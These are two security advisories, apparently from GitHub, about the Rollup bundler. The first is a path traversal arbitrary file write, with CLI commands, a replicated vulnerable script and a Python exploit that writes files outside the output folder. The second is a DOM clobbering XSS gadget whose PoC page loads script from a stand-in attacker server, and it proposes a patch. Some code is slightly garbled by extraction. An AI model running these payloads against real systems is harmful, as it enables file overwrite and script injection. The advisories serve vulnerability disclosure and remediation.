Summary The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details The vulnerability is caused by the combination of two flawed components in the Rollup core:

1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALIDCHARREGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \). typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALIDCHARREGEX = /[\u0000-\u001F"#$%&+,:;<=>?[\]^{|}\u007F]/g; This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename. typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit 1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: bash rollup --input "a/../../pwned.js=main.js" --dir dist 3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided : vulnapp.js: Isolated logic exactly replicating the sanitization and resolution bug. exploit.py: Automated script to run the PoC and verify the file escape.

vulnapp.js js const path = require('path'); const fs = require('fs');

/ REPLICATED ROLLUP VULNERABILITY 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) 2. Unsafe Path Resolution (from src/rollup/rollup.ts) /

function sanitize(name) { // The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../' return name.replace(/[\u0000-\u001F"#$%&+,:;<=>?[\]^{|}\u007F]/g, ''); }

async function build(userSuppliedName) { const outputDir = path.join(dirname, 'dist'); const fileName = sanitize(userSuppliedName);

// Vulnerability: path.resolve() follows traversal sequences in the filename const outputPath = path.resolve(outputDir, fileName);

console.log([] Target write path: ${outputPath});

if (!fs.existsSync(path.dirname(outputPath))) { fs.mkdirSync(path.dirname(outputPath), { recursive: true }); }

fs.writeFileSync(outputPath, 'console.log("System Compromised!");'); console.log([+] File written successfully.); }

build(process.argv[2] || 'bundle.js');

exploit.py py import subprocess from pathlib import Path

def runpoc(): # Target a file outside the 'dist' folder pocdir = Path(file).parent maliciousfilename = "../pwnedbyrollup.js" targetpath = pocdir / "pwnedbyrollup.js"

print(f"=== Rollup Path Traversal PoC ===") print(f"[] Malicious Filename: {maliciousfilename}") # Trigger the vulnerable app subprocess.run(["node", "poc/vulnapp.js", maliciousfilename])

if targetpath.exists(): print(f"[SUCCESS] File escaped 'dist' folder!") print(f"[SUCCESS] Created: {targetpath}") # targetpath.unlink() # Cleanup else: print("[FAILED] Exploit did not work.")

if name == "main": runpoc()

POC rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwneddesktop.js=main.js" --dir dist

<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />

Impact This is a High level of severity vulnerability. Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorizedkeys, .bashrc, or system binaries if the build process has sufficient privileges. Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(filename).href : (documentCurrentScript && False && documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( '${escapeId(relativePath)}', ${ umd ? typeof document === 'undefined' ? location.href : : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI );

const getUrlFromDocument = (chunkId: string, umd = false) => ${ umd ? typeof document === 'undefined' ? location.href : : '' }(${DOCUMENTCURRENTSCRIPT} && ${DOCUMENTCURRENTSCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENTCURRENTSCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href);